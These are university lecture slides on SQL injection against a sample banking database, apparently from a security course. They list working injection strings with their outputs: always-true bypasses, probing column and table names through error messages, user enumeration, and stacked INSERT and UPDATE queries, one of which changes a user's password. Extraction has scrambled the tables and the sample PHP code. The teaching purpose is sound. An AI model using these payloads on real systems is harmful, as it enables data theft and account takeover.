SQL Injection: An In-Depth Discussion, Lecture notes of History

Download SQL Injection: An In-Depth Discussion and more Lecture notes History in PDF only on Docsity!

SQL Injection

AN IN-DEPTH DISCUSSION

AGENDA

• What is an SQL Injection vulnerability
• An example of SQL Injection
• An analysis of how it works
• How the attacker views the situation
• Input validation
• More attack vectors
• More remediation
• Avoiding SQL Injection

CSCI 476

SQL INJECTION

The SQL Injection Attack

• SQL is “Structured Query Language”
• It is a standardized language for accessing databases
• Examples
• Every programming language implements SQL functionality in its own way
  • select name from employee where ssn=‘123456789’
  • select name, ssn, dob from employee where ssn=‘123456789’ and id=‘31042’
  • select code,name from products where code =‘536’ union select code,name

from sales where code > ‘500’

SQL Injection Example DB

Accounts

Name Account UserId Password Joe B 1234 joe mypass Tom M 6787 Daisy rover Alicia G 2547 alicia x123y Sally B 7744 sal yllas Balances Account Name Cbalance SBalance 2547 Alicia G 23.45 75. 1234 Joe B 67.84 0. 3333 Justin D 55.10 200. 6787 Tom M 99.21 71. 7744 Sally B 17.20 0. 8899 Tom Q 102.55 66.

SQL Injection Example …

• But what if the user enters something like this
• Since ‘1’=‘1’ is always true, the select statement will return all records
• res will contain, depending on the language
  • every record
  • the first record
  • the last record Enter your account number 9999’%20or%20’1’=‘ Your balance

res = select CBalance from Balances where Acct=‘9999’ or ‘1’=‘1’

SQL Injection Example …

• If the code block is:
• Then the application will print whatever is in res.
• The attacker will have valuable information for further attacks, such as issuing a

transaction against the account number discovered

res = select CBalance from Balances where Acct=‘$acct’

if res

PrintHTML (res)

An Example Program

query ($query); if ($result) { print ("You are identified as

name userid

\n"); while ($row = $result->fetch_row()) printf ("%s | %s

", $row[0], $row[1]); $result->close (); } $con->close(); ?>

The Attack String

• How does the attacker determine the attack string?
  • Awareness of how the code might look
  • Guessing
  • Looking at messages resulting from failed attempts

Some Attack Strings

• Using the example program, what happens when you try different strings 1234' or '1'=' You are identified as name userid Joe B | joe Alica G | alicia Tom M | Daisy 1234' -- Same as 1234

Some Attack Strings

• Can we guess some field names?
  • We know account is a valid field name, because
  • Gives a different message 1234' and account=NULL; -- You are identified as name userid 1234' and acct=NULL; -- Unknown column 'acct' in 'where clause' For mysql, there must be white space after --

Some Attack Strings

• How about table names
  • We know there's not table named users, but the DB is named cs476_ex
  • Bingo!! 1234' and 1=(select count() from users); -- Table 'cs476_ex1.users' doesn't exist 1234' and 1=(select count() from accounts); -- You are identified as name userid'

Some Attack Strings

• How about userid's 1234' or name LIKE '%Tom%'; -- You are identified as name userid Joe B | joe Tom M | Daisy 1234' or userid LIKE '%al%'; -- You are identified as name userid Joe B | joe Alica G | alicia Sally B | sal

Some Attack Strings

• INSERT INTO table (fieldlist) VALUES (valuelist)
  • The error is from the attempt to process an empty result. The INSERT was successful. 1234' ; INSERT INTO accounts (; -- You are identified as name userid Fatal error: Call to a member function fetch_row() on a non-object in /home/www/cs476/sqli/submit.php on line 27

Some Attack Strings

• UPDATE table set expression WHERE expression
  • The error is from the attempt to process an empty result. The UPDATE was successful. 11' ; UPDATE accounts SET password='fake' WHERE userid='sal'; -- You are identified as name userid Fatal error: Call to a member function fetch_row() on a non-object in /home/www/cs476/sqli/submit.php on line 27